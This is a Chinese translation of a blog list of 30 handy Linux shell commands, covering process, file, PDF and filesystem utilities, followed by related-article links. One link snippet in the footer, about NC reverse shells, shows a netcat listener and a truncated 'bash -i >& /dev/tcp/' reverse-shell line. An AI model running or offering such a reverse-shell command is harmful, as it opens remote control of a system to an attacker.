英文原文链接:https://www.lopezferrando.com/30-interesting-shell-commands/

1. 监控命令(每2秒运行一次)

watch "ls -larth"

2. 使用一个端口杀死程序

sudo fuser -k 8000/tcp

3. 限制以下命令的内存使用

ulimit -Sv 1000       # 1000 KBs = 1 MB
ulimit -Sv unlimited # Remove limit

4. 使用正则表达式重命名所选文件

rename 's/\.bak$/.txt/' *.bak

5. 获得完整的文件路径

readlink -f file.txt

6. 列出tar.gz文件的内容,并只提取一个文件

tar tf file.tgz
tar xf file.tgz filename

7. 按照文件大小列出文件

ls -lS

8. 跟踪路由

mtr google.com

9. 查找文件的提示

find . -size 20c             # By file size (20 bytes)
find . -name "*.gz" -delete # Delete files
find . -exec echo {} \; # One file by line
./file1
./file2
./file3
find . -exec echo {} \+ # All in the same line
./file1 ./file2 ./file3

10. 打印无限循环的文本

yes
yes hello

11. 当前登录用户

w

12. 输出结果前置行号

ls | nl

13. Grep使用Perl风格的语法(允许像\t这样的字符)

grep -P "\t"

14. Cat命令反向输出(从末端开始)

tac file

15. 检查每个目录中的文件的的权限

检测权限错误是很有用的,例如在配置web服务器时。

namei -l /path/to/file.txt

16. 每次修改文件时都会执行命令

while inotifywait -e close_write document.tex
do
make
done

17. 复制到剪贴板

cat file.txt | xclip -selection clipboard

18. Latex的拼写和语法检查

detex file.tex | diction -bs

你可能需要安装以下内容:sudo apt-get install diction texlive-extra-utils

19. 检查资源的使用情况

/usr/bin/time -v ls

20. 文件的随机行

cat file.txt | sort -R
cat file.txt | sort -R | head # Pick a random sambple # Even better (suggested by xearl in Hacker news):
shuf file.txt

21. 在离开SSH会话后保持程序运行

如果程序不需要任何交互:

nohup ./script.sh &

如果你需要手动输入一些内容,然后离开:

./script.sh
<Type any input you want>
<Ctrl-Z> # send process to sleep
jobs -l # find out the job id
disown -h jobid # disown job
bg # continue running in the background

当然,也可以使用screentmux来完成此目的。

22. 在有限的时间内运行命令

timeout 10s ./script.sh

# Restart every 30 minutes
while true; do timeout 30m ./script.sh; done

23. 从两个排序文件中合并行

comm file1 file2

打印这三列:

  1. file1独有。
  2. file2独有。
  3. 在行file1和行file2中都有。

使用选项-1-2-3,可以删除这些列。

24. 在文件中分割长文件,使用相同数量的行

split -l LINES -d file.txt output_prefix

25. 刷新交换分区

如果一个程序消耗了太多的内存,交换分区就会被剩余的内存填满,当你回到正常的时候,一切都是缓慢的。只需重新启动交换分区来修复它:

sudo swapoff -a
sudo swapon -a

26. 修复ext4文件系统的superblock问题

sudo fsck.ext4 -f -y /dev/sda1
sudo fsck.ext4 -v /dev/sda1
sudo mke2fs -n /dev/sda1
sudo e2fsck -n <first block number of previous list> /dev/sda1

27. 创建给定大小的空文件

fallocate -l 1G test.img

28. 从命令行操作PDF文件

joinshuffleselect等命令相比,pdftk是个更好用的命令:

pdftk *.pdf cat output all.pdf        # Join PDFs together
pdftk A=in.pdf cat A5 output out.pdf # Extract page from PDF

还可以使用cpdf操作内容:

cpdf -draft in.pdf -o out.pdf      # Remove images
cpdf -blacktext in.pdf -o out.pdf # Convert all text to black color

29. 根据生成的输出监视进度

# Write random data, encode it in base64 and monitor how fast it
# is being sent to /dev/null
cat /dev/urandom | base64 | pv -lbri2 > /dev/null # pv options:
# -l, lines
# -b, total counter
# -r, show rate
# -i2, refresh every 2 seconds

30. 在Ubuntu中找到一个文件的包

apt-file update
apt-file search dir/file.h

Linux 下常用的Shell 命令的更多相关文章

  1. Linux下常用的shell命令记录1

     硬件篇 CPU相关 lscpu #查看的是cpu的统计信息. cat /proc/cpuinfo #查看CPU信息详细信息,如每个CPU的型号,主频等 内存相关 free -m #概要查看内存情况 ...

  2. Linux下常用的shell命令记录

     硬件篇 CPU相关 lscpu #查看的是cpu的统计信息. cat /proc/cpuinfo #查看CPU信息详细信息,如每个CPU的型号,主频等 内存相关 free -m #概要查看内存情况 ...

  3. 20145239 Linux下常用的ls命令总结

    20145239 Linux下常用的ls命令总结 通过学习本周的教学视频和要求掌握的内容,发现ls命令被使用的次数非常多,但作为一个初学者,可能我只会ls或者顶多ls -l两种用法.但其实ls是一个非 ...

  4. Linux 下常用解压命令(转载)

    Linux下常用文件解压(包括rpm.deb包) Linux下怎么解后缀名是gzip的文件?1.以.a为扩展名的文件:#tar xv file.a2.以.z为扩展名的文件:#uncompress fi ...

  5. linux下常用文件传输命令 (转)

    因为工作原因,需要经常在不同的服务器见进行文件传输,特别是大文件的传输,因此对linux下不同服务器间数据传输命令和工具进行了研究和总结.主要是rcp,scp,rsync,ftp,sftp,lftp, ...

  6. linux下常用文件传输命令(转)

    因为工作原因,需要经常在不同的服务器见进行文件传输,特别是大文件的传输,因此对linux下不同服务器间数据传输命令和工具进行了研究和总结.主要是rcp,scp,rsync,ftp,sftp,lftp, ...

  7. Linux下NC反弹shell命令

    本机开启监听: nc -lvnp 4444nc -vvlp 4444 目标机器开启反弹 bash版本: bash -i >& /dev/tcp/ >& perl版本: pe ...

  8. Linux下常用的shell操作

    # 设定hosts解析记录 sh-4.2# echo "$(ifconfig ens192 | awk '/\<inet\>/{print $2}') $(hostname)&q ...

  9. linux下常用关机命令

    linux下常用的关机命令有:shutdown.halt.poweroff.init:重启命令有:reboot.下面本文就主要介绍一些常用的关机命令以及各种关机命令之间的区别和具体用法. 首先来看一下 ...

随机推荐

  1. 网站开发进阶(三十八)Web前端开发规范文档你需要知道的事

    Web前端开发规范文档你需要知道的事 规范目的 为提高团队协作效率, 便于后台人员添加功能及前端后期优化维护, 输出高质量的文档, 特制订此文档. 本规范文档一经确认, 前端开发人员必须按本文档规范进 ...

  2. Android官方命令深入分析之Hierarchy Viewer

    Hierarchy Viewer允许你调试和优化用户界面.它提供了一个层可视的方式来显示. 启动Hierarchy Viewer,如下: 在Android Studio中,选择Tools > A ...

  3. hive中与hbase外部表join时内存溢出(hive处理mapjoin的优化器机制)

    与hbase外部表(wizad_mdm_main)进行join出现问题: CREATE TABLE wizad_mdm_dev_lmj_edition_result as select *  from ...

  4. Tag功能介绍—我们为什么打Tag?

    想必CSDN的新老用户在访问CSDN网站的博客.社区.下载等服务时,经常能够看到"请您添加标签"的提示.也许很多人对此抱有疑问:加标签有什么用?在这里我们为您集中解答一下疑惑. T ...

  5. Cocos2D:塔防游戏制作之旅(七)

    用这3个变量,你可以创建多种不同类型的炮塔,它们可以有着不同的攻击属性,比如长距离重型攻击力,但是慢速攻击的炮塔,或者是渴望快速攻击但是攻击范围近的炮塔. 最后,代码包括了一个draw方法,它在炮塔周 ...

  6. Chapter 2 User Authentication, Authorization, and Security(10):创建包含数据库

    原文出处:http://blog.csdn.net/dba_huangzj/article/details/39473895,专题目录:http://blog.csdn.net/dba_huangzj ...

  7. netty对http协议解析原理解析

    本文主要介绍netty对http协议解析原理,着重讲解keep-alive,gzip,truncked等机制,详细描述了netty如何实现对http解析的高性能. 1 http协议 1.1 描述 标示 ...

  8. 图像检索:CEDD(Color and Edge Directivity Descriptor)算法

    颜色和边缘的方向性描述符(Color and Edge Directivity Descriptor,CEDD) 本文节选自论文<Android手机上图像分类技术的研究>. CEDD具有抽 ...

  9. 【翻译】了解ASP.NET MVC中的Ajax助手

    原文:Understanding AJAX Helpers in ASP.NET MVC 作者: Shailendra Chauhan works as Software Analyst at rep ...

  10. 如何成为Android高手

    要成为Android 高手并不是一件容易的事情.并不是很多人想象的 能够飞快的写出几行漂亮的代码去解决一些困难的问题 就是Android 高手了.真正的Android 高手需要考虑的问题远远不是写些漂 ...